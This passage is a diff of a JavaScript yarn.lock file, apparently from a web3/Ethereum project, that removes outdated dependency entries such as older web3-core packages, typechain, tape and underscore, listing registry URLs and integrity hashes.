"https://registry.npmjs.org/supports-hyperlinks/-/supports-hyperlinks-2.3.0.tgz" @@ -16726,22 +13191,6 @@ symbol-tree@^3.2.4: resolved "https://registry.npmjs.org/symbol-tree/-/symbol-tree-3.2.4.tgz" integrity sha512-9QNk5KwDF+Bvz+PyObkmSYjI5ksVUYtjW7AU22r2NKcfLJcXp96hkDWU3+XndOsUb+AQ9QhfzfCT2O+CNWT5Tw== -sync-request@^6.0.0: - version "6.1.0" - resolved "https://registry.npmjs.org/sync-request/-/sync-request-6.1.0.tgz" - integrity sha512-8fjNkrNlNCrVc/av+Jn+xxqfCjYaBoHqCsDz6mt030UMxJGr+GSfCV1dQt2gRtlL63+VPidwDVLr7V2OcTSdRw== - dependencies: - http-response-object "^3.0.1" - sync-rpc "^1.2.1" - then-request "^6.0.0" - -sync-rpc@^1.2.1: - version "1.3.6" - resolved "https://registry.npmjs.org/sync-rpc/-/sync-rpc-1.3.6.tgz" - integrity sha512-J8jTXuZzRlvU7HemDgHi3pGnh/rkoqR/OZSjhTyyZrEkkYQbk7Z33AXp37mkPfPpfdOuj7Ex3H/TJM1z48uPQw== - dependencies: - get-port "^3.1.0" - table@^6.0.9: version "6.8.1" resolved "https://registry.npmjs.org/table/-/table-6.8.1.tgz" @@ -16758,27 +13207,6 @@ tapable@^1.0.0, tapable@^1.1.3: resolved "https://registry.npmjs.org/tapable/-/tapable-1.1.3.tgz" integrity sha512-4WK/bYZmj8xLr+HUCODHGF1ZFzsYffasLUgEiMBY4fgtltdO6B4WJtlSbPaDTLpYTcGVwM2qLnFTICEcNxs3kA== -tape@^4.6.3: - version "4.16.1" - resolved "https://registry.npmjs.org/tape/-/tape-4.16.1.tgz" - integrity sha512-U4DWOikL5gBYUrlzx+J0oaRedm2vKLFbtA/+BRAXboGWpXO7bMP8ddxlq3Cse2bvXFQ0jZMOj6kk3546mvCdFg== - dependencies: - call-bind "~1.0.2" - deep-equal "~1.1.1" - defined "~1.0.0" - dotignore "~0.1.2" - for-each "~0.3.3" - glob "~7.2.3" - has "~1.0.3" - inherits "~2.0.4" - is-regex "~1.1.4" - minimist "~1.2.6" - object-inspect "~1.12.2" - resolve "~1.22.1" - resumer "~0.0.0" - string.prototype.trim "~1.2.6" - through "~2.3.8" - tar@^4.0.2: version "4.4.19" resolved "https://registry.npmjs.org/tar/-/tar-4.4.19.tgz" @@ -16884,14 +13312,6 @@ test-exclude@^6.0.0: glob "^7.1.4" minimatch "^3.0.4" -test-value@^2.1.0: - version "2.1.0" - resolved "https://registry.npmjs.org/test-value/-/test-value-2.1.0.tgz" - integrity sha512-+1epbAxtKeXttkGFMTX9H42oqzOTufR1ceCF+GYA5aOmvaPq9wd4PUS8329fn2RRLGNeUkgRLnVpycjx8DsO2w== - dependencies: - array-back "^1.0.3" - typical "^2.6.0" - testrpc@0.0.1: version "0.0.1" resolved "https://registry.npmjs.org/testrpc/-/testrpc-0.0.1.tgz" @@ -16902,29 +13322,12 @@ text-table@0.2.0, text-table@^0.2.0: resolved "https://registry.npmjs.org/text-table/-/text-table-0.2.0.tgz" integrity sha512-N+8UisAXDGk8PFXP4HAzVR9nbfmVJ3zYLAWiTIoqC5v5isinhr+r5uaO8+7r3BMfuNIufIsA7RdpVgacC2cSpw== -then-request@^6.0.0: - version "6.0.2" - resolved "https://registry.npmjs.org/then-request/-/then-request-6.0.2.tgz" - integrity sha512-3ZBiG7JvP3wbDzA9iNY5zJQcHL4jn/0BWtXIkagfz7QgOL/LqjCEOBQuJNZfu0XYnv5JhKh+cDxCPM4ILrqruA== - dependencies: - "@types/concat-stream" "^1.6.0" - "@types/form-data" "0.0.33" - "@types/node" "^8.0.0" - "@types/qs" "^6.2.31" - caseless "~0.12.0" - concat-stream "^1.6.0" - form-data "^2.2.0" - http-basic "^8.1.1" - http-response-object "^3.0.1" - promise "^8.0.0" - qs "^6.4.0" - throat@^5.0.0: version "5.0.0" resolved "https://registry.npmjs.org/throat/-/throat-5.0.0.tgz" integrity sha512-fcwX4mndzpLQKBS1DVYhGAcYaYt7vsHNIvQV+WXMvnow5cgjPphq5CaayLaGsjRdSCKZFNGt7/GYAuXaNOiYCA== -through2@^2.0.0, through2@^2.0.3: +through2@^2.0.0: version "2.0.5" resolved "https://registry.npmjs.org/through2/-/through2-2.0.5.tgz" integrity sha512-/mrRod8xqpA+IHSLyGCQ2s8SPHiCDEeQJSep1jqLYeEUClOFG2Qsh+4FU6G9VeqpZnGW/Su8LQGc4YKni5rYSQ== @@ -16932,11 +13335,6 @@ through2@^2.0.0, through2@^2.0.3: readable-stream "~2.3.6" xtend "~4.0.1" -through@~2.3.4, through@~2.3.8: - version "2.3.8" - resolved "https://registry.npmjs.org/through/-/through-2.3.8.tgz" - integrity sha512-w89qg7PI8wAdvX60bMDP+bFoD5Dvhm9oLheFp5O4a2QF0cSBGsBX4qZmadPMvVqlLJBBci+WqGGOAPvcDeNSVg== - thunky@^1.0.2: version "1.1.0" resolved "https://registry.npmjs.org/thunky/-/thunky-1.1.0.tgz" @@ -16967,20 +13365,6 @@ title-case@^2.1.0: no-case "^2.2.0" upper-case "^1.0.3" -tmp@0.0.33, tmp@^0.0.33: - version "0.0.33" - resolved "https://registry.npmjs.org/tmp/-/tmp-0.0.33.tgz" - integrity sha512-jRCJlojKnZ3addtTOjdIqoRuPEKBvNXcGYqzO6zWZX8KfKEpnGY5jfggJQ3EjKuu8D4bJRr0y+cYJFmYbImXGw== - dependencies: - os-tmpdir "~1.0.2" - -tmp@0.1.0: - version "0.1.0" - resolved "https://registry.npmjs.org/tmp/-/tmp-0.1.0.tgz" - integrity sha512-J7Z2K08jbGcdA1kkQpJSqLF6T0tdQqpR2pnSUXsIchbPdTI9v3e85cLW0d6WDhwuAleOV71j2xWs8qMPfK7nKw== - dependencies: - rimraf "^2.6.3" - tmpl@1.0.5: version "1.0.5" resolved "https://registry.npmjs.org/tmpl/-/tmpl-1.0.5.tgz" @@ -16991,11 +13375,6 @@ to-arraybuffer@^1.0.0: resolved "https://registry.npmjs.org/to-arraybuffer/-/to-arraybuffer-1.0.1.tgz" integrity sha512-okFlQcoGTi4LQBG/PgSYblw9VOyptsz2KJZqc6qtgGdes8VktzUQkj4BI2blit072iS8VODNcMA+tvnS9dnuMA== -to-fast-properties@^1.0.3: - version "1.0.3" - resolved "https://registry.npmjs.org/to-fast-properties/-/to-fast-properties-1.0.3.tgz" - integrity sha512-lxrWP8ejsq+7E3nNjwYmUBMAgjMTZoTI+sdBOpvNyijeDLa29LUn9QaoXAHv4+Z578hbmHHJKZknzxVtvo77og== - to-fast-properties@^2.0.0: version "2.0.0" resolved "https://registry.npmjs.org/to-fast-properties/-/to-fast-properties-2.0.0.tgz" @@ -17043,14 +13422,6 @@ toidentifier@1.0.1: resolved "https://registry.npmjs.org/toidentifier/-/toidentifier-1.0.1.tgz" integrity sha512-o5sSPKEkg/DIQNmH43V0/uerLrpzVedkUh8tGNvaeXpfpuwjKenlSox/2O/BTlZUtEe+JG7s5YhEz608PlAHRA== -tough-cookie@^2.3.3, tough-cookie@~2.5.0: - version "2.5.0" - resolved "https://registry.npmjs.org/tough-cookie/-/tough-cookie-2.5.0.tgz" - integrity sha512-nlLsUzgm1kfLXSXfRZMc1KLAugd4hqJHDTvc2hDIwS3mZAfMEuMbc03SujMF+GEcpaX/qboeycw6iO8JwVv2+g== - dependencies: - psl "^1.1.28" - punycode "^2.1.1" - tough-cookie@^4.0.0: version "4.1.2" resolved "https://registry.npmjs.org/tough-cookie/-/tough-cookie-4.1.2.tgz" @@ -17061,6 +13432,14 @@ tough-cookie@^4.0.0: universalify "^0.2.0" url-parse "^1.5.3" +tough-cookie@~2.5.0: + version "2.5.0" + resolved "https://registry.npmjs.org/tough-cookie/-/tough-cookie-2.5.0.tgz" + integrity sha512-nlLsUzgm1kfLXSXfRZMc1KLAugd4hqJHDTvc2hDIwS3mZAfMEuMbc03SujMF+GEcpaX/qboeycw6iO8JwVv2+g== + dependencies: + psl "^1.1.28" + punycode "^2.1.1" + tr46@^2.1.0: version "2.1.0" resolved "https://registry.npmjs.org/tr46/-/tr46-2.1.0.tgz" @@ -17078,11 +13457,6 @@ trim-lines@^3.0.0: resolved "https://registry.npmjs.org/trim-lines/-/trim-lines-3.0.1.tgz" integrity sha512-kRj8B+YHZCc9kQYdWfJB2/oUl9rA99qbowYYBtr4ui4mZyAQ2JpvVBd/6U2YloATfqBhBTSMhTpgBHtU0Mf3Rg== -trim-right@^1.0.1: - version "1.0.1" - resolved "https://registry.npmjs.org/trim-right/-/trim-right-1.0.1.tgz" - integrity sha512-WZGXGstmCWgeevgTL54hrCuw1dyMQIzWy7ZfqRJfSmJZBwklI15egmQytFP6bPidmw3M8d5yEowl1niq4vmqZw== - trough@^2.0.0: version "2.1.0" resolved "https://registry.npmjs.org/trough/-/trough-2.1.0.tgz" @@ -17093,31 +13467,6 @@ tryer@^1.0.1: resolved "https://registry.npmjs.org/tryer/-/tryer-1.0.1.tgz" integrity sha512-c3zayb8/kWWpycWYg87P71E1S1ZL6b6IJxfb5fvsUgsf0S2MVGaDhDXXjDMpdCpfWXqptc+4mXwmiy1ypXqRAA== -ts-essentials@^1.0.0: - version "1.0.4" - resolved "https://registry.npmjs.org/ts-essentials/-/ts-essentials-1.0.4.tgz" - integrity sha512-q3N1xS4vZpRouhYHDPwO0bDW3EZ6SK9CrrDHxi/D6BPReSjpVgWIOpLS2o0gSBZm+7q/wyKp6RVM1AeeW7uyfQ== - -ts-essentials@^6.0.3: - version "6.0.7" - resolved "https://registry.npmjs.org/ts-essentials/-/ts-essentials-6.0.7.tgz" - integrity sha512-2E4HIIj4tQJlIHuATRHayv0EfMGK3ris/GRk1E3CFnsZzeNV+hUmelbaTZHLtXaZppM5oLhHRtO04gINC4Jusw== - -ts-generator@^0.1.1: - version "0.1.1" - resolved "https://registry.npmjs.org/ts-generator/-/ts-generator-0.1.1.tgz" - integrity sha512-N+ahhZxTLYu1HNTQetwWcx3so8hcYbkKBHTr4b4/YgObFTIKkOSSsaa+nal12w8mfrJAyzJfETXawbNjSfP2gQ== - dependencies: - "@types/mkdirp" "^0.5.2" - "@types/prettier" "^2.1.1" - "@types/resolve" "^0.0.8" - chalk "^2.4.1" - glob "^7.1.2" - mkdirp "^0.5.1" - prettier "^2.1.2" - resolve "^1.8.1" - ts-essentials "^1.0.0" - ts-pnp@1.2.0, ts-pnp@^1.1.6: version "1.2.0" resolved "https://registry.npmjs.org/ts-pnp/-/ts-pnp-1.2.0.tgz" @@ -17138,16 +13487,11 @@ tslib@^1.8.1, tslib@^1.9.3: resolved "https://registry.npmjs.org/tslib/-/tslib-1.14.1.tgz" integrity sha512-Xni35NKzjgMrwevysHTCArtLDpPvye8zV/0E4EyYn43P7/7qvQwPh9BGkHewbMulVntbigmcT7rdX3BNo9wRJg== -tslib@^2.0.0, tslib@^2.0.3: +tslib@^2.0.3: version "2.4.1" resolved "https://registry.npmjs.org/tslib/-/tslib-2.4.1.tgz" integrity sha512-tGyy4dAjRIEwI7BzsB0lynWgOpfqjUdq91XXAlIWD2OwKBH7oCl/GZG/HT4BOHrTlPMOASlMQ7veyTqpmRcrNA== -tsort@0.0.1: - version "0.0.1" - resolved "https://registry.npmjs.org/tsort/-/tsort-0.0.1.tgz" - integrity sha512-Tyrf5mxF8Ofs1tNoxA13lFeZ2Zrbd6cKbuH3V+MQ5sb6DtBj5FjrXVsRWT8YvNAQTqNoz66dz1WsbigI22aEnw== - tsutils@^3.17.1, tsutils@^3.21.0: version "3.21.0" resolved "https://registry.npmjs.org/tsutils/-/tsutils-3.21.0.tgz" @@ -17167,21 +13511,11 @@ tunnel-agent@^0.6.0: dependencies: safe-buffer "^5.0.1" -tweetnacl-util@^0.15.0, tweetnacl-util@^0.15.1: - version "0.15.1" - resolved "https://registry.npmjs.org/tweetnacl-util/-/tweetnacl-util-0.15.1.tgz" - integrity sha512-RKJBIj8lySrShN4w6i/BonWp2Z/uxwC3h4y7xsRrpP59ZboCd0GpEVsOnMDYLMmKBpYhb5TgHzZXy7wTfYFBRw== - tweetnacl@^0.14.3, tweetnacl@~0.14.0: version "0.14.5" resolved "https://registry.npmjs.org/tweetnacl/-/tweetnacl-0.14.5.tgz" integrity sha512-KXXFFdAbFXY4geFIwoyNK+f5Z1b7swfXABfL7HXCmoIWMKU3dmS26672A4EeQtDzLKy7SXmfBu51JolvEKwtGA== -tweetnacl@^1.0.0, tweetnacl@^1.0.3: - version "1.0.3" - resolved "https://registry.npmjs.org/tweetnacl/-/tweetnacl-1.0.3.tgz" - integrity sha512-6rt+RN7aOi1nGMyC4Xa5DdYiukl2UWCbcJft7YhxReBGQD7OAM8Pbxw6YMo4r2diNEA8FEmu32YOn9rhaiE5yw== - type-check@^0.4.0, type-check@~0.4.0: version "0.4.0" resolved "https://registry.npmjs.org/type-check/-/type-check-0.4.0.tgz" @@ -17196,7 +13530,7 @@ type-check@~0.3.2: dependencies: prelude-ls "~1.1.2" -type-detect@4.0.8, type-detect@^4.0.0, type-detect@^4.0.5: +type-detect@4.0.8: version "4.0.8" resolved "https://registry.npmjs.org/type-detect/-/type-detect-4.0.8.tgz" integrity sha512-0fr/mIH1dlO+x7TlcMy+bIDqKPsw/70tVyeHW787goQjhmqaZe10uwLujubK9q9Lg6Fiho1KUKDYz0Z7k7g5/g== @@ -17221,11 +13555,6 @@ type-fest@^0.6.0: resolved "https://registry.npmjs.org/type-fest/-/type-fest-0.6.0.tgz" integrity sha512-q+MB8nYR1KDLrgr4G5yemftpMC7/QLqVndBmEEdqzmNj5dcFOO4Oo8qlwZE3ULT3+Zim1F8Kq4cBnikNhlCMlg== -type-fest@^0.7.1: - version "0.7.1" - resolved "https://registry.npmjs.org/type-fest/-/type-fest-0.7.1.tgz" - integrity sha512-Ne2YiiGN8bmrmJJEuTWTLJR32nh/JdL1+PSicowtNb0WFpn59GK8/lfD61bVtzguz7b3PBt74nxpv/Pw5po5Rg== - type-fest@^0.8.1: version "0.8.1" resolved "https://registry.npmjs.org/type-fest/-/type-fest-0.8.1.tgz" @@ -17249,19 +13578,6 @@ type@^2.7.2: resolved "https://registry.npmjs.org/type/-/type-2.7.2.tgz" integrity sha512-dzlvlNlt6AXU7EBSfpAscydQ7gXB+pPGsPnfJnZpiNJBDj7IaJzQlBZYGdEi4R9HmPdBv2XmWJ6YUtoTa7lmCw== -typechain@^3.0.0: - version "3.0.0" - resolved "https://registry.npmjs.org/typechain/-/typechain-3.0.0.tgz" - integrity sha512-ft4KVmiN3zH4JUFu2WJBrwfHeDf772Tt2d8bssDTo/YcckKW2D+OwFrHXRC6hJvO3mHjFQTihoMV6fJOi0Hngg== - dependencies: - command-line-args "^4.0.7" - debug "^4.1.1" - fs-extra "^7.0.0" - js-sha3 "^0.8.0" - lodash "^4.17.15" - ts-essentials "^6.0.3" - ts-generator "^0.1.1" - typedarray-to-buffer@^3.1.5: version "3.1.5" resolved "https://registry.npmjs.org/typedarray-to-buffer/-/typedarray-to-buffer-3.1.5.tgz" @@ -17274,28 +13590,6 @@ typedarray@^0.0.6: resolved "https://registry.npmjs.org/typedarray/-/typedarray-0.0.6.tgz" integrity sha512-/aCDEGatGvZ2BIk+HmLf4ifCJFwvKFNb9/JeZPMulfgFracn9QFcAf5GO8B/mweUjSoblS5In0cWhqpfs/5PQA== -typewise-core@^1.2, typewise-core@^1.2.0: - version "1.2.0" - resolved "https://registry.npmjs.org/typewise-core/-/typewise-core-1.2.0.tgz" - integrity sha512-2SCC/WLzj2SbUwzFOzqMCkz5amXLlxtJqDKTICqg30x+2DZxcfZN2MvQZmGfXWKNWaKK9pBPsvkcwv8bF/gxKg== - -typewise@^1.0.3: - version "1.0.3" - resolved "https://registry.npmjs.org/typewise/-/typewise-1.0.3.tgz" - integrity sha512-aXofE06xGhaQSPzt8hlTY+/YWQhm9P0jYUp1f2XtmW/3Bk0qzXcyFWAtPoo2uTGQj1ZwbDuSyuxicq+aDo8lCQ== - dependencies: - typewise-core "^1.2.0" - -typewiselite@~1.0.0: - version "1.0.0" - resolved "https://registry.npmjs.org/typewiselite/-/typewiselite-1.0.0.tgz" - integrity sha512-J9alhjVHupW3Wfz6qFRGgQw0N3gr8hOkw6zm7FZ6UR1Cse/oD9/JVok7DNE9TT9IbciDHX2Ex9+ksE6cRmtymw== - -typical@^2.6.0, typical@^2.6.1: - version "2.6.1" - resolved "https://registry.npmjs.org/typical/-/typical-2.6.1.tgz" - integrity sha512-ofhi8kjIje6npGozTip9Fr8iecmYfEbS06i0JnIg+rh51KakryWF4+jX8lLKZVhy6N+ID45WYSFCxPOdTWCzNg== - ultron@~1.1.0: version "1.1.1" resolved "https://registry.npmjs.org/ultron/-/ultron-1.1.1.tgz" @@ -17311,23 +13605,6 @@ unbox-primitive@^1.0.2: has-symbols "^1.0.3" which-boxed-primitive "^1.0.2" -underscore@1.9.1: - version "1.9.1" - resolved "https://registry.npmjs.org/underscore/-/underscore-1.9.1.tgz" - integrity sha512-5/4etnCkd9c8gwgowi5/om/mYO5ajCaOgdzj/oW+0eQV9WxKBDZw5+ycmKmeaTXjInS/W0BzpGLo2xR2aBwZdg== - -underscore@^1.8.3: - version "1.13.6" - resolved "https://registry.npmjs.org/underscore/-/underscore-1.13.6.tgz" - integrity sha512-+A5Sja4HP1M08MaXya7p5LvjuM7K6q/2EaC0+iovj/wOcMsTzMvDFbasi/oSapiwOlt252IqsKqPjCl7huKS0A== - -undici@^5.4.0: - version "5.19.1" - resolved "https://registry.yarnpkg.com/undici/-/undici-5.19.1.tgz#92b1fd3ab2c089b5a6bd3e579dcda8f1934ebf6d" - integrity sha512-YiZ61LPIgY73E7syxCDxxa3LV2yl3sN8spnIuTct60boiiRaE1J8mNWHO8Im2Zi/sFrPusjLlmRPrsyraSqX6A== - dependencies: - busboy "^1.6.0" - unicode-canonical-property-names-ecmascript@^2.0.0: version "2.0.0" resolved "https://registry.npmjs.org/unicode-canonical-property-names-ecmascript/-/unicode-canonical-property-names-ecmascript-2.0.0.tgz" @@ -17468,11 +13745,6 @@ universalify@^2.0.0: resolved "https://registry.npmjs.org/universalify/-/universalify-2.0.0.tgz" integrity sha512-hAZsKq7Yy11Zu1DE0OzWjw7nnLZmJZYTDZZyEFHZdUhV8FkH5MCfoU1XMaxXovpyW5nq5scPqq0ZDP9Zyl04oQ== -unorm@^1.3.3: - version "1.6.0" - resolved "https://registry.npmjs.org/unorm/-/unorm-1.6.0.tgz" - integrity sha512-b2/KCUlYZUeA7JFUuRJZPUtr4gZvBh7tavtv4fvk4+KV9pfGiR6CQAQAWl49ZpR3ts2dk4FYkP7EIgDJoiOLDA== - unpipe@1.0.0, unpipe@~1.0.0: version "1.0.0" resolved "https://registry.npmjs.org/unpipe/-/unpipe-1.0.0.tgz" @@ -17600,17 +13872,6 @@ util.promisify@1.0.0: define-properties "^1.1.2" object.getownpropertydescriptors "^2.0.3" -util.promisify@^1.0.0: - version "1.1.1" - resolved "https://registry.npmjs.org/util.promisify/-/util.promisify-1.1.1.tgz" - integrity sha512-/s3UsZUrIfa6xDhr7zZhnE9SLQ5RIXyYfiVnMMyMDzOc8WhWN4Nbh36H842OyurKbCDAesZOJaVyvmSl6fhGQw== - dependencies: - call-bind "^1.0.0" - define-properties "^1.1.3" - for-each "^0.3.3" - has-symbols "^1.0.1" - object.getownpropertydescriptors "^2.1.1" - util.promisify@~1.0.0: version "1.0.1" resolved "https://registry.npmjs.org/util.promisify/-/util.promisify-1.0.1.tgz" @@ -17806,16 +14067,6 @@ wbuf@^1.1.0, wbuf@^1.7.3: dependencies: minimalistic-assert "^1.0.0" -web3-bzz@1.2.11: - version "1.2.11" - resolved "https://registry.npmjs.org/web3-bzz/-/web3-bzz-1.2.11.tgz" - integrity sha512-XGpWUEElGypBjeFyUhTkiPXFbDVD6Nr/S5jznE3t8cWUA0FxRf1n3n/NuIZeb0H9RkN2Ctd/jNma/k8XGa3YKg== - dependencies: - "@types/node" "^12.12.6" - got "9.6.0" - swarm-js "^0.1.40" - underscore "1.9.1" - web3-bzz@1.7.4: version "1.7.4" resolved "https://registry.npmjs.org/web3-bzz/-/web3-bzz-1.7.4.tgz" @@ -17825,24 +14076,6 @@ web3-bzz@1.7.4: got "9.6.0" swarm-js "^0.1.40" -web3-bzz@1.8.0: - version "1.8.0" - resolved "https://registry.npmjs.org/web3-bzz/-/web3-bzz-1.8.0.tgz" - integrity sha512-caDtdKeLi7+2Vb+y+cq2yyhkNjnxkFzVW0j1DtemarBg3dycG1iEl75CVQMLNO6Wkg+HH9tZtRnUyFIe5LIUeQ== - dependencies: - "@types/node" "^12.12.6" - got "12.1.0" - swarm-js "^0.1.40" - -web3-bzz@1.8.1: - version "1.8.1" - resolved "https://registry.npmjs.org/web3-bzz/-/web3-bzz-1.8.1.tgz" - integrity sha512-dJJHS84nvpoxv6ijTMkdUSlRr5beCXNtx4UZcrFLHBva8dT63QEtKdLyDt2AyMJJdVzTCk78uir/6XtVWrdS6w== - dependencies: - "@types/node" "^12.12.6" - got "12.1.0" - swarm-js "^0.1.40" - web3-bzz@1.8.2: version "1.8.2" resolved "https://registry.yarnpkg.com/web3-bzz/-/web3-bzz-1.8.2.tgz#67ea1c775874056250eece551ded22905ed08784" @@ -17852,15 +14085,6 @@ web3-bzz@1.8.2: got "12.1.0" swarm-js "^0.1.40" -web3-core-helpers@1.2.11: - version "1.2.11" - resolved "https://registry.npmjs.org/web3-core-helpers/-/web3-core-helpers-1.2.11.tgz" - integrity sha512-PEPoAoZd5ME7UfbnCZBdzIerpe74GEvlwT4AjOmHeCVZoIFk7EqvOZDejJHt+feJA6kMVTdd0xzRNN295UhC1A== - dependencies: - underscore "1.9.1" - web3-eth-iban "1.2.11" - web3-utils "1.2.11" - web3-core-helpers@1.7.4: version "1.7.4" resolved "https://registry.npmjs.org/web3-core-helpers/-/web3-core-helpers-1.7.4.tgz" @@ -17869,22 +14093,6 @@ web3-core-helpers@1.7.4: web3-eth-iban "1.7.4" web3-utils "1.7.4" -web3-core-helpers@1.8.0: - version "1.8.0" - resolved "https://registry.npmjs.org/web3-core-helpers/-/web3-core-helpers-1.8.0.tgz" - integrity sha512-nMAVwZB3rEp/khHI2BvFy0e/xCryf501p5NGjswmJtEM+Zrd3Biaw52JrB1qAZZIzCA8cmLKaOgdfamoDOpWdw== - dependencies: - web3-eth-iban "1.8.0" - web3-utils "1.8.0" - -web3-core-helpers@1.8.1: - version "1.8.1" - resolved "https://registry.npmjs.org/web3-core-helpers/-/web3-core-helpers-1.8.1.tgz" - integrity sha512-ClzNO6T1S1gifC+BThw0+GTfcsjLEY8T1qUp6Ly2+w4PntAdNtKahxWKApWJ0l9idqot/fFIDXwO3Euu7I0Xqw== - dependencies: - web3-eth-iban "1.8.1" - web3-utils "1.8.1" - web3-core-helpers@1.8.2: version "1.8.2" resolved "https://registry.yarnpkg.com/web3-core-helpers/-/web3-core-helpers-1.8.2.tgz#82066560f8085e6c7b93bcc8e88b441289ea9f9f" @@ -17893,18 +14101,6 @@ web3-core-helpers@1.8.2: web3-eth-iban "1.8.2" web3-utils "1.8.2" -web3-core-method@1.2.11: - version "1.2.11" - resolved "https://registry.npmjs.org/web3-core-method/-/web3-core-method-1.2.11.tgz" - integrity sha512-ff0q76Cde94HAxLDZ6DbdmKniYCQVtvuaYh+rtOUMB6kssa5FX0q3vPmixi7NPooFnbKmmZCM6NvXg4IreTPIw== - dependencies: - "@ethersproject/transactions" "^5.0.0-beta.135" - underscore "1.9.1" - web3-core-helpers "1.2.11" - web3-core-promievent "1.2.11" - web3-core-subscriptions "1.2.11" - web3-utils "1.2.11" - web3-core-method@1.7.4: version "1.7.4" resolved "https://registry.npmjs.org/web3-core-method/-/web3-core-method-1.7.4.tgz" @@ -17916,28 +14112,6 @@ web3-core-method@1.7.4: web3-core-subscriptions "1.7.4" web3-utils "1.7.4" -web3-core-method@1.8.0: - version "1.8.0" - resolved "https://registry.npmjs.org/web3-core-method/-/web3-core-method-1.8.0.tgz" - integrity sha512-c94RAzo3gpXwf2rf8rL8C77jOzNWF4mXUoUfZYYsiY35cJFd46jQDPI00CB5+ZbICTiA5mlVzMj4e7jAsTqiLA== - dependencies: - "@ethersproject/transactions" "^5.6.2" - web3-core-helpers "1.8.0" - web3-core-promievent "1.8.0" - web3-core-subscriptions "1.8.0" - web3-utils "1.8.0" - -web3-core-method@1.8.1: - version "1.8.1" - resolved "https://registry.npmjs.org/web3-core-method/-/web3-core-method-1.8.1.tgz" - integrity sha512-oYGRodktfs86NrnFwaWTbv2S38JnpPslFwSSARwFv4W9cjbGUW3LDeA5MKD/dRY+ssZ5OaekeMsUCLoGhX68yA== - dependencies: - "@ethersproject/transactions" "^5.6.2" - web3-core-helpers "1.8.1" - web3-core-promievent "1.8.1" - web3-core-subscriptions "1.8.1" - web3-utils "1.8.1" - web3-core-method@1.8.2: version "1.8.2" resolved "https://registry.yarnpkg.com/web3-core-method/-/web3-core-method-1.8.2.tgz#ba5ec68084e903f0516415010477618be017eac2" @@ -17949,13 +14123,6 @@ web3-core-method@1.8.2: web3-core-subscriptions "1.8.2" web3-utils "1.8.2" -web3-core-promievent@1.2.11: - version "1.2.11" - resolved "https://registry.npmjs.org/web3-core-promievent/-/web3-core-promievent-1.2.11.tgz" - integrity sha512-il4McoDa/Ox9Agh4kyfQ8Ak/9ABYpnF8poBLL33R/EnxLsJOGQG2nZhkJa3I067hocrPSjEdlPt/0bHXsln4qA== - dependencies: - eventemitter3 "4.0.4" - web3-core-promievent@1.7.4: version "1.7.4" resolved "https://registry.npmjs.org/web3-core-promievent/-/web3-core-promievent-1.7.4.tgz" @@ -17963,20 +14130,6 @@ web3-core-promievent@1.7.4: dependencies: eventemitter3 "4.0.4" -web3-core-promievent@1.8.0: - version "1.8.0" - resolved "https://registry.npmjs.org/web3-core-promievent/-/web3-core-promievent-1.8.0.tgz" - integrity sha512-FGLyjAuOaAQ+ZhV6iuw9tg/9WvIkSZXKHQ4mdTyQ8MxVraOtFivOCbuLLsGgapfHYX+RPxsc1j1YzQjKoupagQ== - dependencies: - eventemitter3 "4.0.4" - -web3-core-promievent@1.8.1: - version "1.8.1" - resolved "https://registry.npmjs.org/web3-core-promievent/-/web3-core-promievent-1.8.1.tgz" - integrity sha512-9mxqHlgB0MrZI4oUIRFkuoJMNj3E7btjrMv3sMer/Z9rYR1PfoSc1aAokw4rxKIcAh+ylVtd/acaB2HKB7aRPg== - dependencies: - eventemitter3 "4.0.4" - web3-core-promievent@1.8.2: version "1.8.2" resolved "https://registry.yarnpkg.com/web3-core-promievent/-/web3-core-promievent-1.8.2.tgz#e670d6b4453632e6ecfd9ad82da44f77ac1585c9" @@ -17984,17 +14137,6 @@ web3-core-promievent@1.8.2: dependencies: eventemitter3 "4.0.4" -web3-core-requestmanager@1.2.11: - version "1.2.11" - resolved "https://registry.npmjs.org/web3-core-requestmanager/-/web3-core-requestmanager-1.2.11.tgz" - integrity sha512-oFhBtLfOiIbmfl6T6gYjjj9igOvtyxJ+fjS+byRxiwFJyJ5BQOz4/9/17gWR1Cq74paTlI7vDGxYfuvfE/mKvA== - dependencies: - underscore "1.9.1" - web3-core-helpers "1.2.11" - web3-providers-http "1.2.11" - web3-providers-ipc "1.2.11" - web3-providers-ws "1.2.11" - web3-core-requestmanager@1.7.4: version "1.7.4" resolved "https://registry.npmjs.org/web3-core-requestmanager/-/web3-core-requestmanager-1.7.4.tgz" @@ -18006,28 +14148,6 @@ web3-core-requestmanager@1.7.4: web3-providers-ipc "1.7.4" web3-providers-ws "1.7.4" -web3-core-requestmanager@1.8.0: - version "1.8.0" - resolved "https://registry.npmjs.org/web3-core-requestmanager/-/web3-core-requestmanager-1.8.0.tgz" - integrity sha512-2AoYCs3Owl5foWcf4uKPONyqFygSl9T54L8b581U16nsUirjhoTUGK/PBhMDVcLCmW4QQmcY5A8oPFpkQc1TTg== - dependencies: - util "^0.12.0" - web3-core-helpers "1.8.0" - web3-providers-http "1.8.0" - web3-providers-ipc "1.8.0" - web3-providers-ws "1.8.0" - -web3-core-requestmanager@1.8.1: - version "1.8.1" - resolved "https://registry.npmjs.org/web3-core-requestmanager/-/web3-core-requestmanager-1.8.1.tgz" - integrity sha512-x+VC2YPPwZ1khvqA6TA69LvfFCOZXsoUVOxmTx/vIN22PrY9KzKhxcE7pBSiGhmab1jtmRYXUbcQSVpAXqL8cw== - dependencies: - util "^0.12.0" - web3-core-helpers "1.8.1" - web3-providers-http "1.8.1" - web3-providers-ipc "1.8.1" - web3-providers-ws "1.8.1" - web3-core-requestmanager@1.8.2: version "1.8.2" resolved "https://registry.yarnpkg.com/web3-core-requestmanager/-/web3-core-requestmanager-1.8.2.tgz#dda95e83ca4808949612a41e54ecea557f78ef26" @@ -18039,15 +14159,6 @@ web3-core-requestmanager@1.8.2: web3-providers-ipc "1.8.2" web3-providers-ws "1.8.2" -web3-core-subscriptions@1.2.11: - version "1.2.11" - resolved "https://registry.npmjs.org/web3-core-subscriptions/-/web3-core-subscriptions-1.2.11.tgz" - integrity sha512-qEF/OVqkCvQ7MPs1JylIZCZkin0aKK9lDxpAtQ1F8niEDGFqn7DT8E/vzbIa0GsOjL2fZjDhWJsaW+BSoAW1gg== - dependencies: - eventemitter3 "4.0.4" - underscore "1.9.1" - web3-core-helpers "1.2.11" - web3-core-subscriptions@1.7.4: version "1.7.4" resolved "https://registry.npmjs.org/web3-core-subscriptions/-/web3-core-subscriptions-1.7.4.tgz" @@ -18056,22 +14167,6 @@ web3-core-subscriptions@1.7.4: eventemitter3 "4.0.4" web3-core-helpers "1.7.4" -web3-core-subscriptions@1.8.0: - version "1.8.0" - resolved 